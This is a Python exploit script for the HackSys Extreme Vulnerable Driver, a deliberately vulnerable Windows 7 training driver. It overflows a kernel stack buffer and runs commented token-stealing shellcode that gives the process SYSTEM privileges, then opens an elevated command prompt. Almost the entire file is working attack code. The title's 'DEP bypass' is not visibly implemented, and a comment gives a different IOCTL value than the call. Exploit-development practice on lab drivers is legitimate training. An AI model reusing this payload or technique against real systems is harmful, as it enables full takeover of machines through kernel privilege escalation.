#!/etc/python
#Written by: Jb05s
#Purpose: HEVD - Stack Overflow with DEP Bypass (Windows 7 x86)

import struct, sys
from ctypes import *
from subprocess import *

def main():
    kernel32 = windll.kernel32

    """
    HANDLE CreateFileA(
      LPCSTR                lpFileName,	--> \\\\.\\HackSysExtremeVulnerableDriver
      DWORD                 dwDesiredAccess, --> 0xC0000000 (Generic_Read (0x80000000) + Generic_Write (0x40000000))
      DWORD                 dwShareMode, --> 0
      LPSECURITY_ATTRIBUTES lpSecurityAttributes, --> None
      DWORD                 dwCreationDisposition, --> 0x3 (Open_Existing)
      DWORD                 dwFlagsAndAttributes, --> 0
      HANDLE                hTemplateFile --> None
    );
    """

    vulnDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
 
    if not vulnDevice or vulnDevice == -1:
        print "Unable to get driver handle."
        sys.exit(0)

    pre = "A" * 2080

    shellcode = ""
    shellcode += bytearray(
        "\x60"                            # pushad --> Save registers state
        "\x31\xc0"                        # xor eax,eax --> Set to 0 (Start of Token Stealing)
        "\x64\x8b\x80\x24\x01\x00\x00"    # mov eax,[fs:eax+0x124] --> Get nt!_KPCR.PcrbData.CurrentThread
        "\x8b\x40\x50"                    # mov eax,[eax+0x50] --> Get nt!_KTHREAD.ApcState.Process
        "\x89\xc1"                        # mov ecx,eax --> Copy current process _EPROCESS structure
        "\xba\x04\x00\x00\x00"            # mov edx,0x4 --> Windows 7 'SYSTEM' process PID = 0x4
        "\x8b\x80\xb8\x00\x00\x00"        # mov eax,[eax+0xb8] --> Get nt!_EPROCESS.ActiveProcessLinks.Flink
        "\x2d\xb8\x00\x00\x00"            # sub eax,0xb8
        "\x39\x90\xb4\x00\x00\x00"        # cmp [eax+0xb4],edx --> Get nt!_EPROCESS.UniqueProcessId
        "\x75\xed"                        # jnz 0x1a
        "\x8b\x90\xf8\x00\x00\x00"        # mov edx,[eax+0xf8] --> Get 'SYSTEM' process nt!_EPROCESS.Token
        "\x89\x91\xf8\x00\x00\x00"        # mov [ecx+0xf8],edx --> Replace target process nt!_EPROCESS.Token with 'SYSTEM' process nt!_EPROCESS.Token
        "\x61"                            # popad --> Restore registers state
        "\x31\xc0"                        # xor eax,eax --> Set to 0 (Start normal execution flow)
        "\x5d"                            # pop ebp
        "\xc2\x08\x00"                    # ret 0x8 --> (Finish normal execution flow)
    )

    """
     LPVOID VirtualAlloc(
      LPVOID lpAddress,
      SIZE_T dwSize,
      DWORD  flAllocationType,
      DWORD  flProtect
    );
    """

    pointer = kernel32.VirtualAlloc(c_int(0), c_int(len(shellcode)), c_int(0x3000), c_int(0x40))
    buff = (c_char * len(shellcode)).from_buffer(shellcode)

    """
    VOID RtlMoveMemory(
      _Out_       VOID UNALIGNED *Destination,
      _In_  const VOID UNALIGNED *Source,
      _In_        SIZE_T         Length
    );
    """

    kernel32.RtlMoveMemory(c_int(pointer), buff, c_int(len(shellcode)))
    shellcode_finale = struct.pack("<L", pointer)

    buffer = pre + shellcode_finale
    bufferLen = len(buffer)

    """
    BOOL DeviceIoControl(
      HANDLE       hDevice, --> vulnDevice
      DWORD        dwIoControlCode, --> 0x22203 (HackSys_EVD_StackOverflow)
      LPVOID       lpInBuffer, --> A * 2304 (0x900 = 2304)
      DWORD        nInBufferSize, --> 0x800 (MOV ESI, 800h; PUSH ESI)
      LPVOID       lpOutBuffer, --> None
      DWORD        nOutBufferSize, --> 0
      LPDWORD      lpBytesReturned, --> byref(c_ulong())
      LPOVERLAPPED lpOverlapped --> None
    );
    """

    kernel32.DeviceIoControl(vulnDevice, 0x222003, buffer, bufferLen, None, 0, byref(c_ulong()), None)
    Popen("start cmd", shell = True)

if __name__ == "__main__":
    main()
